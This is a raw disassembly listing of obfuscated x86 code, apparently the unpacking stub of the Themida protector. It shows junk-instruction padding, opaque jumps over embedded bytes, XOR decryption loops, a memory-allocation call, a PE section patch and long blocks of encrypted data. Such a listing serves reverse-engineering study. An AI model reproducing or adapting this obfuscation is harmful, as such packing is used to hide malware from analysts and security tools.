		pop	edx
		sub	edx, 61BC863h
		pusha
		jmp	loc_5E62A9
; ---------------------------------------------------------------------------
		db 0BCh
; ---------------------------------------------------------------------------
		shr	dword ptr [edi+50h], 1
		js	short loc_5E6285
		xor	[esi], dh
		xchg	eax, esi


loc_5E62A9:				; CODE XREF: sub_5E6279+21j
		mov	si, dx
		popa
		jge	loc_5E62BF
		jmp	loc_5E62BF
; ---------------------------------------------------------------------------
		fild	qword ptr [esi+2599E87Ch]
		das


loc_5E62BF:				; CODE XREF: sub_5E6279+34j
					; sub_5E6279+3Aj
		pusha
		mov	ecx, 5888790Ah
		jmp	loc_5E62DB
; ---------------------------------------------------------------------------
		test	al, 31h
		sbb	eax, 2DBE5474h
		mov	cl, 59h
		mov	edx, [esi]
		mov	esi, [ebp-0F380CEFh]


loc_5E62DB:				; CODE XREF: sub_5E6279+4Cj
		popa
		push	edx
		pusha
		xor	si, 97D3h
		mov	dx, 0E85Eh
		popa
		mov	eax, [edx+6151679h]
		jmp	loc_5E6300
; ---------------------------------------------------------------------------
		db 8Ah
		dd 193BACE5h, 0CB2B9FD4h, 0ECA5251h
; ---------------------------------------------------------------------------


loc_5E6300:				; CODE XREF: sub_5E6279+75j
		mov	ecx, 41C64E6Dh
		stc
		mul	ecx
		jnb	loc_5E6311
		pusha
		stc
		popa


loc_5E6311:				; CODE XREF: sub_5E6279+8Fj
		pop	edx
		clc
		add	eax, 3039h
		pusha
		movzx	edx, si
		js	loc_5E6325
		movzx	eax, bx


loc_5E6325:				; CODE XREF: sub_5E6279+A3j
		popa
		and	eax, 7FFFFFFFh
		jmp	loc_5E6336
; ---------------------------------------------------------------------------
		dd 0EF18B2BDh
		db 4Eh,	0A9h
; ---------------------------------------------------------------------------


loc_5E6336:				; CODE XREF: sub_5E6279+B2j
		mov	[edx+6151679h],	eax
		jmp	loc_5E6350
; ---------------------------------------------------------------------------
		push	ebx
		db	64h
		push	ebp
		pop	edi
		dec	ebp
		adc	eax, 0B018ADE5h
		dec	esi
		movsb
		stc
		xchg	dh, ch


loc_5E6350:				; CODE XREF: sub_5E6279+C3j
		pop	edx
		jg	loc_5E635E
		jo	loc_5E635E
		cld


loc_5E635E:				; CODE XREF: sub_5E6279+D8j
					; sub_5E6279+DEj
		pop	ecx
		pusha
		jbe	$+6
		mov	dx, cx
		popa
		retn
sub_5E6279	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jge	loc_5E6372
		stc


loc_5E6372:				; CODE XREF: Themida_:005E636Bj
					; DATA XREF: Themida_:0057BCD8o
		push	ecx
		cmc
		push	edx
		jns	loc_5E6382
		pusha
		mov	bx, cx
		mov	bl, 8Ch
		popa


loc_5E6382:				; CODE XREF: Themida_:005E6375j
		jno	loc_5E6394
		jb	loc_5E6394
		jle	$+6


loc_5E6394:				; CODE XREF: Themida_:loc_5E6382j
					; Themida_:005E6388j
		call	$+5
		pop	edx
		sub	edx, 61BC96Ah
		cmc
		pusha
		mov	esi, eax
		push	esi
		add	cx, 3D81h
		pop	edi
		popa
		pusha
		mov	si, cx
		pusha
		clc
		jmp	loc_5E63C4
; ---------------------------------------------------------------------------
		db 0B3h
		dd 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh
; ---------------------------------------------------------------------------


loc_5E63C4:				; CODE XREF: Themida_:005E63B2j
		popa
		popa
		mov	ecx, eax
		pusha
		jmp	loc_5E63E2
; ---------------------------------------------------------------------------
		dw 5197h
		dd 89E31D86h, 0F652A5D0h, 0EDDBB575h, 0E301FB96h
		db 0CDh, 82h
; ---------------------------------------------------------------------------


loc_5E63E2:				; CODE XREF: Themida_:005E63C9j
		mov	cx, 1CB9h
		popa
		pusha
		jmp	loc_5E6401
; ---------------------------------------------------------------------------
		db 0DDh, 4Ch, 74h
		dd 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h
		db 0EDh
; ---------------------------------------------------------------------------


loc_5E6401:				; CODE XREF: Themida_:005E63E8j
		mov	dx, 0DA7Eh
		popa
		call	sub_5E6279
		clc
		xor	edx, edx
		jmp	loc_5E6427
; ---------------------------------------------------------------------------
		clc
		fild	dword ptr [esi]
		sar	dword ptr [edx], 43h
		retn	0B908h
; ---------------------------------------------------------------------------
		dd 11F86549h, 0CE0B5038h
		db 3Ch,	0A1h, 1Ch
; ---------------------------------------------------------------------------


loc_5E6427:				; CODE XREF: Themida_:005E640Ej
		div	ecx
		pusha
		js	loc_5E6431
		cld


loc_5E6431:				; CODE XREF: Themida_:005E642Aj
					; Themida_:loc_5E645Bj
		jnb	loc_5E6439
		push	ebx
		pop	edi


loc_5E6439:				; CODE XREF: Themida_:loc_5E6431j
		popa
		jmp	loc_5E644F
; ---------------------------------------------------------------------------
		db 23h
		dd 2266B130h, 0EA812ECBh, 0CEA08E4Fh
		db 8Bh,	0Dh, 0F0h
; ---------------------------------------------------------------------------


loc_5E644F:				; CODE XREF: Themida_:005E643Aj
		mov	eax, edx
		cld
		jmp	loc_5E6469
; ---------------------------------------------------------------------------
		db 93h
		db 0EEh, 0C7h, 5
; ---------------------------------------------------------------------------


loc_5E645B:				; CODE XREF: Themida_:005E6489j
		jno	short near ptr loc_5E6431+4
		scasb
		out	19h, eax
		fadd	dword ptr [esi-61h]
		insd
; ---------------------------------------------------------------------------
		dd 7EF19121h
; ---------------------------------------------------------------------------
		dec	ecx


loc_5E6469:				; CODE XREF: Themida_:005E6452j
		pop	edx
		pusha
		jmp	loc_5E6476
; ---------------------------------------------------------------------------
		dd 5841E9Fh
		db 50h,	3Eh
; ---------------------------------------------------------------------------


loc_5E6476:				; CODE XREF: Themida_:005E646Bj
		jb	loc_5E6491
		call	sub_5E6490
		xchg	ebp, [eax]
		xor	[esi+edx*8], cl
		or	al, 0BCh
		scasb
		jecxz	short loc_5E645B
		mov	edi, 0E380FE38h

; =============== S U B	R O U T	I N E =======================================



sub_5E6490	proc near		; CODE XREF: Themida_:005E647Cp
		pop	eax


loc_5E6491:				; CODE XREF: Themida_:loc_5E6476j
		popa
		pop	ecx
		stc
		retn
sub_5E6490	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh,	8Eh, 1Ch
		dd 0F000000h, 168Ah, 11E900h, 3FBD0000h, 0DBDDBCF1h, 8C81F875h
		dd 5C492EE3h, 8B982B1Eh, 860F60C0h, 2, 8B61D3B4h, 0C8E0FC0h
		dd 0F000000h, 68Bh, 8D0F00h, 0F5000000h, 91F4858Dh, 8160061Bh
		dd 0AD6170D1h, 0EE844h,	77300000h, 72936124h, 0EBF27677h
		dd 0B3BA5B0Bh, 0D0FF615Ah, 7890Fh, 8D0F0000h, 1, 0C18B66F5h
		dd 78E0Fh, 820F0000h, 1, 4A858DFCh, 0F5061BC8h,	258D8589h
		dd 8DFC0615h, 1BC94385h, 8589F806h, 61522A9h, 0F8BF0F60h
		dd 9DF9C681h, 0B8617606h, 0
; ---------------------------------------------------------------------------
		stc
		jge	loc_5E656C
		pusha
		jmp	loc_5E6560
; ---------------------------------------------------------------------------
		db 0C0h, 0E6h, 31h
		dd 2B1CCC13h, 4C36A1D6h, 0A01FFA87h
; ---------------------------------------------------------------------------


loc_5E6560:				; CODE XREF: Themida_:005E654Cj
		call	near ptr loc_5E6565+5


loc_5E6565:				; CODE XREF: Themida_:loc_5E6560p
		sar	dword ptr [ebx+5E3BE387h], cl
		popa


loc_5E656C:				; CODE XREF: Themida_:005E6545j
		or	eax, eax
		jz	loc_5E66D4
		cld
		mov	byte ptr [ebp+61509C5h], 56h
		jnb	loc_5E658A
		jo	loc_5E658A
		pusha
		popa


loc_5E658A:				; CODE XREF: Themida_:005E657Cj
					; Themida_:005E6582j
		push	0A9C530DFh
		jmp	loc_5E659B
; ---------------------------------------------------------------------------
		imul	edi, [edx+ebp],	0DA9F3DF6h


loc_5E659B:				; CODE XREF: Themida_:005E658Fj
		push	dword ptr [ebp+6152811h]
		stc
		lea	eax, [ebp+61872BCh]
		jnz	loc_5E65C0
		jmp	loc_5E65C0
; ---------------------------------------------------------------------------
		db 0C8h
		dd 22F4F229h, 200F4401h, 19812F37h
; ---------------------------------------------------------------------------


loc_5E65C0:				; CODE XREF: Themida_:005E65A8j
					; Themida_:005E65AEj
		cld
		call	eax
		jz	loc_5E65E5
		jnz	loc_5E65E5
		jmp	loc_5E65E5
; ---------------------------------------------------------------------------
		dd 0AC58F826h, 0DAF21F3Ch, 0FF377088h, 73757CF1h
		db 15h
; ---------------------------------------------------------------------------


loc_5E65E5:				; CODE XREF: Themida_:005E65C3j
					; Themida_:005E65C9j ...
		push	eax
		pusha
		push	edi
		add	al, 2Fh
		pop	eax
		mov	ecx, ebx
		popa
		lea	ecx, [ebp+6152839h]
		pusha
		jnp	loc_5E6601
		and	bx, 0D208h


loc_5E6601:				; CODE XREF: Themida_:005E65F6j
		mov	edi, esi
		popa
		push	ecx
		jmp	loc_5E661E
; ---------------------------------------------------------------------------
		rcr	dword ptr [eax+6533CC58h], cl
		retf	0AA07h
; ---------------------------------------------------------------------------
		db 7Eh
		dd 0F20ECF4Ch, 7127BC53h
		db 0CAh, 0EBh
; ---------------------------------------------------------------------------


loc_5E661E:				; CODE XREF: Themida_:005E6605j
		push	4
		jnb	loc_5E6627
		clc


loc_5E6627:				; CODE XREF: Themida_:005E6620j
		push	1000h
		jmp	loc_5E663A
; ---------------------------------------------------------------------------
		db 0DFh, 30h, 3Dh
		dd 65D6C7E9h
		db 7Fh,	0Eh
; ---------------------------------------------------------------------------


loc_5E663A:				; CODE XREF: Themida_:005E662Cj
		push	dword ptr [ebp+6150031h]
		jnp	loc_5E665F
		jb	loc_5E665F
		jmp	loc_5E665F
; ---------------------------------------------------------------------------
		bswap	edi
		or	ebp, [edi]
		adc	eax, 0C19834Fh
		dec	ecx
		mov	dl, 4Ch
		retn
; ---------------------------------------------------------------------------
		popf


loc_5E665F:				; CODE XREF: Themida_:005E6640j
					; Themida_:005E6646j ...
		jnz	loc_5E6672
		jmp	loc_5E6672
; ---------------------------------------------------------------------------
		dw 0C03h
		dd 6DC96EBBh
		db 0DBh, 65h
; ---------------------------------------------------------------------------


loc_5E6672:				; CODE XREF: Themida_:loc_5E665Fj
					; Themida_:005E6665j
		call	eax
		pusha
		call	sub_5E667F
		dec	ecx
		sahf
		pop	esp
		in	eax, 0Eh	; DMA controller, 8237A-5.
					; Clear	mask registers.
					; Any OUT enables all 4	channels.

; =============== S U B	R O U T	I N E =======================================



sub_5E667F	proc near		; CODE XREF: Themida_:005E6675p
		add	ch, 6Ah
		pop	ebx
		mov	ax, bx
		popa
		mov	edi, [ebp+6150031h]
		cmc
		jl	loc_5E66AE
		pusha
		mov	bx, 0E424h
		jmp	loc_5E66AD
; ---------------------------------------------------------------------------
		dw 39DDh
		dd 0FEC251DBh, 86D6B6EAh, 97C1AD84h
		db 0F3h
; ---------------------------------------------------------------------------


loc_5E66AD:				; CODE XREF: sub_5E667F+1Aj
		popa


loc_5E66AE:				; CODE XREF: sub_5E667F+Fj
		add	edi, [edi+3Ch]
		pusha
		add	bx, 0AB11h
		mov	dl, ch
		popa
		add	edi, 0F8h
		clc
		mov	dword ptr [edi+24h], 60000020h
		jmp	loc_5E66D4
; ---------------------------------------------------------------------------
		db 25h,	4Ah, 9
		dd 71ECC27Fh
; ---------------------------------------------------------------------------


loc_5E66D4:				; CODE XREF: Themida_:005E656Ej
					; sub_5E667F+49j
		lea	ebx, [ebp+6150FFDh]
		jmp	loc_5E66E7
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0A8EA7025h
		db 0AFh, 39h, 0A5h
; ---------------------------------------------------------------------------


loc_5E66E7:				; CODE XREF: sub_5E667F+5Bj
		jns	loc_5E66EE
		cld


loc_5E66EE:				; CODE XREF: sub_5E667F:loc_5E66E7j
		mov	eax, [ebx]
		jmp	loc_5E66FA
; ---------------------------------------------------------------------------
		db 73h,	0B6h, 0EDh
		db 83h,	77h
; ---------------------------------------------------------------------------


loc_5E66FA:				; CODE XREF: sub_5E667F+71j
		or	eax, eax
		jz	loc_5E6741
		pusha
		push	ecx
		mov	esi, 3B9916B1h
		pop	ecx
		jmp	loc_5E671A
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------
		sub	ss:[ecx+19E5F9E5h], bl
		dec	esi
		mov	bl, 1Dh


loc_5E671A:				; CODE XREF: sub_5E667F+8Bj
		popa
		mov	eax, [eax]
		js	loc_5E672C
		pusha
		mov	esi, edx
		add	dx, 0CD33h
		popa


loc_5E672C:				; CODE XREF: sub_5E667F+9Ej
		mov	[ebx+4], eax
		jmp	loc_5E6741
; ---------------------------------------------------------------------------
		dd 0E5653445h, 196237FDh, 0AD3650CDh
; ---------------------------------------------------------------------------
		stosd


loc_5E6741:				; CODE XREF: sub_5E667F+7Dj
					; sub_5E667F+B0j
		mov	ecx, 234CF6h
		call	near ptr loc_5E674F+1
		pop	esi
		scasb
		lea	eax, [esi]


loc_5E674F:				; CODE XREF: sub_5E667F+C7p
		adc	esi, [ecx-7E99A049h]
sub_5E667F	endp ; sp-analysis failed

		loope	near ptr loc_5E67AE+4
		pusha
		add	edi, 7045h
		mov	cx, 92BBh
		mov	edx, 1BF7h
		mov	si, bx
; START	OF FUNCTION CHUNK FOR sub_5E67A0


loc_5E676A:				; CODE XREF: sub_5E67A0:loc_5E67AEj
		mov	eax, [edi]
		push	edi
		mov	ecx, 356EB39Eh
		pop	ebx
		add	eax, 1A12CF79h
		mov	bh, 41h
		xor	eax, 1134A4Eh
		xor	eax, 116DB0D3h
		mov	ebx, 23327830h
		push	eax
		mov	ecx, eax
		pop	dword ptr [edi]
		call	sub_5E67A0
		aam	0BBh
		setalc
		mov	cl, 0ACh
		db	67h
		push	es
		xchg	eax, ebp
		mov	cl, 51h
; END OF FUNCTION CHUNK	FOR sub_5E67A0

; =============== S U B	R O U T	I N E =======================================



sub_5E67A0	proc near		; CODE XREF: sub_5E67A0-Fp

; FUNCTION CHUNK AT 005E676A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005E67D5 SIZE 00000024 BYTES

		cld
		pop	esi
		sub	edi, 4


loc_5E67A5:				; CODE XREF: sub_5E67A0+28j
		push	edx
		push	esi
		pusha
		popa
		pop	esi
		pop	ecx
		sub	edx, 1


loc_5E67AE:				; CODE XREF: Themida_:005E6755j
		jnz	loc_5E676A
		mov	bx, 640h
		call	near ptr loc_5E67CB+2
		push	ebp
		sbb	al, 42h
		dec	ebp
		pop	edx
		mov	ch, [edi+33h]	; CODE XREF: sub_5E67A0+57j
		push	ds
		jo	short loc_5E67D5
		ja	short loc_5E67A5
		daa


loc_5E67CB:				; CODE XREF: sub_5E67A0+18p
		db	26h
		loope	near ptr loc_5E67DA+3
sub_5E67A0	endp ; sp-analysis failed

		xchg	al, ds:0B8000000h
		leave
; START	OF FUNCTION CHUNK FOR sub_5E67A0


loc_5E67D5:				; CODE XREF: sub_5E67A0+26j
		sbb	bl, ah
		jnz	short loc_5E6832
		cmc


loc_5E67DA:				; CODE XREF: sub_5E67A0:loc_5E67CBj
		add	ecx, 6D82h
		call	near ptr sub_5E67F9
		push	ebx
		dec	ebx
		call	near ptr 1B6F958Ah
		xor	ecx, [edx]
		aas
		add	dword ptr fs:[eax-5Bh],	4104BC42h
		jg	short near ptr loc_5E67C2+1
; END OF FUNCTION CHUNK	FOR sub_5E67A0

; =============== S U B	R O U T	I N E =======================================



sub_5E67F9	proc far		; CODE XREF: sub_5E67A0+40p

arg_0		= dword	ptr  4
arg_1E8		= dword	ptr  1ECh

		pop	eax
		push	0
		mov	si, 1754h
		pop	edx
		push	edx
		pop	esi


loc_5E6806:				; CODE XREF: sub_5E67F9+A7j
		mov	ebx, [ecx+edx]
		pusha
		stc
		mov	dx, 9F73h
		popa
		xor	ebx, 3CAC2EA2h
		xor	ebx, 2017944Bh
		jmp	loc_5E6828
; ---------------------------------------------------------------------------
		db 59h,	0F6h, 62h
; ---------------------------------------------------------------------------
		and	ch, [edi-65h]
		xchg	eax, edi


loc_5E6828:				; CODE XREF: sub_5E67F9+23j
		xor	ebx, 554F6359h
		mov	si, 0BF78h


loc_5E6832:				; CODE XREF: sub_5E67A0+37j
		push	ebx
		pusha
		js	loc_5E683D
		mov	dx, bx


loc_5E683D:				; CODE XREF: sub_5E67F9+3Bj
		popa
		pop	dword ptr [ecx+edx]
		jg	loc_5E6850
		jl	loc_5E6850
		sub	al, 0A2h


loc_5E6850:				; CODE XREF: sub_5E67F9+48j
					; sub_5E67F9+4Ej
		mov	esi, 58274E41h
		sub	edx, 4
		mov	al, 0E5h
		cmp	edx, 0FFFF9370h
		jnz	loc_5E689C
		pusha
		jge	loc_5E686F
		mov	dl, 5Ch


loc_5E686F:				; CODE XREF: sub_5E67F9+6Ej
		jp	loc_5E688C
		jmp	loc_5E688C
; ---------------------------------------------------------------------------
		dw 0D778h
; ---------------------------------------------------------------------------
		stc
		xchg	eax, ecx
		sub	[ecx+79h], ebp
		and	[ecx+6Dh], dh
		adc	ebp, eax
		xchg	eax, esi
		enter	0FFFFFDF7h, 81h


loc_5E688C:				; CODE XREF: sub_5E67F9:loc_5E686Fj
					; sub_5E67F9+7Cj
		popa
		jmp	loc_5E68B3
; ---------------------------------------------------------------------------
		dw 0E6D1h
		dd 76B79A30h, 0AC741532h
; ---------------------------------------------------------------------------


loc_5E689C:				; CODE XREF: sub_5E67F9+67j
		mov	di, 0D535h
		jmp	loc_5E6806
; ---------------------------------------------------------------------------
		db 13h,	0B4h, 2Ah
		dd 0EAB696DEh, 0E91143Eh
		db 5Ch,	35h, 0EAh
; ---------------------------------------------------------------------------


loc_5E68B3:				; CODE XREF: sub_5E67F9+94j
		jmp	loc_5E68DB
; ---------------------------------------------------------------------------
		dd 46FF5581h
dword_5E68BC	dd 7 dup(0)			db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5E68DB:				; CODE XREF: sub_5E67F9:loc_5E68B3j
		jmp	loc_5E7378
; ---------------------------------------------------------------------------
		push	61BD011h
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		push	61BD12Dh
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		push	61BD2A0h
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		push	61BD3B2h
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		push	61BD52Fh
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		push	61BD6D8h
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		push	61BD7C7h
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		dw 987Dh
		dd 3018E3E5h, 96907B4Dh, 321AE5E7h, 9C8E794Bh, 5A50EFE1h
		dd 0D1B3CAC0h, 4C3C4126h, 0D1B3CAC1h, 4E3E3F26h, 0C0DDD9D6h
		dd 0DCA72310h, 9F861969h, 432AC7DEh, 43FD4A3Ah,	4BF7F7F4h
		dd 6BB353E7h, 9ABBA7BEh, 28A729D6h, 8B263F3Eh, 0CC3DAA3h
		dd 0D9DE12A2h, 4049C55Dh, 0B86BECEFh, 25h, 1D6CC40Ah, 0E20A300Eh
		dd 9FCAB353h, 0DB791C06h, 7C6FA729h, 0CEA4D9D1h, 0CFD854E0h
		dd 276BECF7h, 0DFh, 0DE9F8699h,	35482AC7h, 0D7A6A12Ch
		dd 0BCC1AD58h, 51FCEB76h, 0D67F2657h, 83FAF5A0h, 27071401h
		dd 0AD3EDE6Ah, 0CD37FF2Ah, 0AD3EE35Ah, 14740904h, 0F0FF7E69h
		dd 960F6E65h, 231097DFh, 0DA673610h, 0CE61AD3Eh, 0A1D96346h
		dd 0F83EEB34h, 61CE1D9Bh, 5330B965h, 2B24B1B3h,	0E7A24B52h
		dd 69B67C01h, 0C583D0C0h, 0AB6AD490h, 0A428F5A7h, 0E0522BA5h
		dd 0AE3DF43Dh, 651810BDh, 0FBFC2F0Dh, 7198AD40h, 9CE1D382h
		dd 126B612Ch, 6E8BC3Eh,	0B559D0FAh, 88Ch, 0C5C7B697h, 0A527563Ah
		dd 789F4DAh, 9BED907Ch,	183FAF0h, 0F8DA34A2h, 8F780385h
		dd 0F39EEEh, 85800B7Dh,	130098F8h, 230E6633h, 0CF3F36A7h
		dd 0B393A486h, 0AD3EDEE6h, 0D2AB9FB6h, 224B22CBh, 0A9F0D7A2h
		dd 0ECA5BCC1h, 0C4F54345h, 300E1D6Ch, 0B353E20Ah, 7EFFE796h
		dd 1F082EE7h, 135A2306h, 3A896714h, 71F90406h, 0E991ECE4h
		dd 0E4E2D1BEh, 0A7292CB5h, 2FC32E7h, 0A7292C4Fh, 9851D99h
		dd 6BEC4880h, 0DA78h, 9F864A00h, 482AC7DEh, 0CD522C35h
		dd 79AD3EE3h, 0F29DEF8Eh, 8CDB82FBh, 456AFF34h,	0EF66A8F7h
		dd 0BCBAA946h, 0AD3ED79Dh, 0FB8266FFh, 0AC82AB62h, 0EB933F3Fh
		dd 5603B353h, 38452CD9h, 0F4A18E02h, 0DEAB83FAh, 0FE392F62h
		dd 29CA5100h, 5F1643A7h, 866C1916h, 48611C13h, 18C1E891h
		dd 31F5D162h, 6DAD4172h, 0AC9E2FBCh, 0C45162D1h, 0FFB6AFCEh
		dd 3C2B5603h, 0D272ADh,	11F8A665h, 7E662356h, 87AF66FFh
		dd 0E7967C07h, 6AB9371h, 0F69811FAh, 770h, 0C9BBC2B3h
		dd 51334A3Eh, 0CBBDC0A6h, 57394440h, 0D5B7C6ACh, 0A4866056h
		dd 230CF7D9h, 0AC9F6A5Ah, 1914FFD1h, 0BFAC6464h, 230D92BFh
		dd 3B9302A7h, 1B679724h, 0F29548h, 60391B3Ah, 0E68F1667h
		dd 5B523D8Fh, 8614A222h, 6716FA9Fh, 0C7DE973Eh,	4A3A432Ah
		dd 0F7F443FDh, 53F283F7h, 6FF623B3h, 3292EBE2h,	2A6D58E5h
		dd 2C7B1174h, 0A4CAA3B5h, 0B39BFEE9h, 20FAA3CAh, 2E6F218Eh
		dd 0EF079B19h, 0D76685F8h, 0E1E58DF0h, 574E2F16h, 0D2BA4B58h
		dd 1C024FABh, 0E7922BEBh, 0B1B8C5AAh, 82D43208h, 0EA2BEB1Bh
		dd 0C5C0D84Ch, 3ACBD8B8h, 1C614653h, 776E1D55h,	0CF835F06h
		dd 1D2BEB1Bh, 95204934h, 0D5C6DF9Eh, 0E09DD161h, 3F263EB6h
		dd 0CCC34E3Eh, 88F5DA6Bh, 92A2DF7Eh, 0E58CBD2Eh, 82D16FBCh
		dd 0AD618965h, 144534A7h, 5AA907B4h, 0D655F1CDh, 0D8813A9Ah
		dd 0C3A5F5D1h, 26452E92h, 0BECBB297h, 1B8B1CCh,	2BA73B39h
		dd 0F355DC5Eh, 68F28E3Dh, 0E363F0BDh, 7B2F74A4h, 6EC42E49h
		dd 382DAh, 1182EC00h, 0FCEB3AF6h, 53E81402h, 0F2D980B3h
		dd 85D4B2C1h, 17A729D5h, 9F320C62h, 612838A7h, 889B98E7h
		dd 0CEC9BFBh, 8FE79DAAh, 38B7F5B5h, 0F178A12Ch,	58D726A2h
		dd 48EAF75Eh, 0C7641532h, 5E2E4F36h, 5BC1BCB3h,	7D12DBAFh
		dd 0FDC66821h, 26000005h, 0AD583845h, 2DD8B8C5h, 0BF4A3A43h
		dd 2BD6B6C7h, 0D5543449h, 56270DE7h, 0D7A68B76h, 56270AF5h
		dd 0D9A48B76h, 54321FF7h, 0A7230D05h, 0C4B01E97h, 0CE4C376Ch
		dd 602C6945h, 0C168AD3Eh, 0B4EBB992h, 0EA906E7Dh, 0AAB35376h
		dd 0F9E3707Fh, 7A80AEC9h, 87223DF5h, 0BD4EDDA0h, 0DAA1620Ch
		dd 0E27DB5E0h, 0D7B1412Dh, 0E1D0A59h, 7F38A7Fh,	0A729554Ah
		dd 0DA571F4Ah, 3E69E6DCh, 1641D2ADh, 4CD88B85h,	7BAE77BFh
		dd 0F6877E09h, 7FD3806Fh, 0A5C0106Ah, 0EFD675BDh, 987A178Eh
		dd 3931BCE5h, 16801D44h, 0ED896A9Eh, 0B725D75h,	441D6AB9h
		dd 7CD97201h, 0EB000002h, 0CAB39924h, 0F48927A4h, 3EDE5BFAh
		dd 691039ADh, 0AD36ECCAh, 0C376B35Ah, 4A243724h, 0A723110Bh
		dd 6C11FC89h, 0DCA188C5h, 27660CC5h, 0ABB3845h,	0AE225825h
		dd 0C0A8F1E3h, 44EDA4BDh, 42BA14A7h, 6036E5F1h,	0F73F3E35h
		dd 0A7C29670h, 210CA723h, 600F85Ch, 57C03E0h, 4EB61h, 2A533800h
		dd 0C2BBAF5Ah, 2C5137C2h, 0C8B5B15Ch, 26573DC8h, 779107A6h
		dd 1DE8E895h, 0BC474934h, 5D28A8D5h, 0E1B90B72h, 0B4B0AE4h
		dd 5C49A723h, 1D6CC4E6h, 0ACEA300Eh, 0C576B35Ah, 0F997ED1Ah
		dd 89D69CA9h, 412CC9E0h, 0C6C14C3Ch, 2C23AEB7h,	0D2BD5851h
		dd 3017B2ABh, 0D05E544Dh, 27CF3064h, 0D1ACA3BBh, 28755162h
		dd 74A72365h, 0DC95E8E1h, 65226F4Fh, 0C772A723h, 77101F6Fh
		dd 7F6BE680h, 19Bh, 0DE9F8651h,	3A432AC7h, 0F443FD4Ah
		dd 0E74BF7F7h, 0BE6BB353h, 331DA8A7h, 771A244Ah, 71A729D6h
		dd 98F16D05h, 606BECEEh, 67h, 4A972472h, 31E16798h, 13AD1E54h
		dd 0B9427C4h, 112AA057h, 0E66B2867h, 8F823280h,	0D66C4AE7h
		dd 16B353BFh, 0D837C463h, 60A0D901h, 5302FCEBh,	41A729D5h
		dd 5B476218h, 0A729D63Ah, 0C5DCA188h, 273E3F28h, 63970B75h
		dd 0BBAE5F4Ch, 72026CC2h, 0F3F14BF8h, 9CABD2B8h, 571F0362h
		dd 0EC52CFD8h, 0B3276Bh, 86990000h, 0C8C7DE9Fh,	8025693Bh
		dd 0C66FF687h, 786DFD89h, 0DCA193C2h, 403D28C5h, 96A18C29h
		dd 3ECEF998h, 0C76E9BADh, 0E7B29D28h, 48F17805h, 6B4549F1h
		dd 0AD3ED3F8h, 0B2126B62h, 0CF5CAB05h, 5672A9EFh, 0F8F6EDB3h
		dd 0A7272259h, 50B7BF67h, 0FD6695ABh, 7706254Ch, 1DE8E895h
		dd 10D24637h, 94FC13BAh, 36E49DDh, 0C0B50000h, 4840CBBDh
		dd 0BEA85335h, 4A42CDBFh, 0C4A65133h, 6258D7B9h, 0E9DBA288h
		dd 7454291Eh, 0E9DBA289h, 7656271Eh, 88D5B19Eh,	14A72309h
		dd 372431A1h, 3EDF1A37h, 0BFBEA8ADh, 0CE7DB564h, 0ACD1BDDCh
		dd 5335FCB5h, 0D0C0BDA8h, 0DE9F8682h, 16BBC251h, 27A3F2CCh
		dd 48F1AD3Eh, 6ABD030Bh, 15109DC4h, 0AF38CB68h,	8E6D3402h
		dd 11BE1268h, 38CB68B7h, 2365B27Eh, 4BE88E6Ch, 53CCC36Bh
		dd 0B936E3B3h, 455C210Ch, 7805018Ch, 9CBBA7C2h,	0D0A729C7h
		dd 3CF4CE66h, 0E600FEEDh, 0CEAD3ED1h, 869B299Bh, 0C8C7DE9Fh
		dd 0AFEEC8DBh, 0EDAD3EDEh, 0DE93C23Ch, 3D2FAD3Eh, 0FC32E740h
		dd 0A5275651h, 0E251A018h, 324B44D1h, 52AC822Bh, 0B353E7F4h
		dd 5F1E1520h, 0BFE68F46h, 29D6B2E3h, 2CB836A7h,	0ECEED7B0h
		dd 0B011C26Bh, 0AC80C5A7h, 200B3BF3h, 0BD000000h, 0E1D6CC4h
		dd 53E20A30h, 69FCAB3h,	29DB791Ch, 73FF6FA7h, 0ECF7B2F7h
		dd 0DB466Bh, 86780000h,	2AC7DE9Fh, 0A5B63548h, 3EDE8CC9h
		dd 196108ADh, 392A18Eh,	0C988720Bh, 0CBAD3EDEh,	0D2BDD89Eh
		dd 0DECC8965h, 0A1C8AD3Eh, 0DEE5B492h, 82B7AD3Eh, 3017B2ABh
		dd 382FDE4Dh, 9F99ED45h, 0AD3EE3BCh, 4B3219A4h,	7D6823h
		dd 0C99260F3h, 0A9E1EE09h, 1B12FDD1h, 5F4C3B62h, 3E5C325Fh
		dd 0E59890ADh, 1F4A15BCh, 6FBE7A57h, 5E748680h,	0F920B353h
		dd 3F8E2A97h, 888D6B0h,	6514AD41h, 425537C6h, 0A0AC295h
		dd 0DAAA83AFh, 0DC403D2Fh, 0FA069610h, 0C5790D84h, 5E000001h
		dd 0D5C0106Dh, 6530A0DDh, 0C7B2126Bh, 632E9EDFh, 0FDBC0C71h
		dd 0FE7F758Fh, 6F0E038Eh, 0FE7F721Dh
		dd 710C038Eh, 0AC8A871Fh, 0A72308EDh, 8648B6AFh, 0AAF7D9A4h
		dd 0BE7EE919h, 97DF75E6h, 1C6C11FCh, 373724AEh,	0AD3EDF1Ah
		dd 2AA7CF7Ah, 0D6B03F8Eh, 0B353E230h, 9F2EBD6Ch, 20D9D0ADh
		dd 22734F5Ah, 0C6A729DCh, 3142BC28h, 29DC0855h,	0A8E594A7h
		dd 7978BEBFh, 6BECF830h, 0A7F2DA6Bh, 0EA73BAC3h, 0A05BEB43h
		dd 6D000000h, 13FA9F86h, 0F33AF36Ah, 8EC847F4h,	1BB57049h
		dd 0CBC14C53h, 4CCFABB2h, 0F6AD3E3Dh, 0D8A58A0Fh, 69642FA1h
		dd 823E8D14h, 16A7B433h, 0A0BD4934h, 0FCAD3E3Ch, 2A04254Dh
		dd 0B3533F08h, 9E2B9DCCh, 5A54D322h, 0AD40E6DDh, 485136C7h
		dd 2258215Ch, 66171445h, 0EC97F984h, 0DDA17706h, 2FFA06C9h
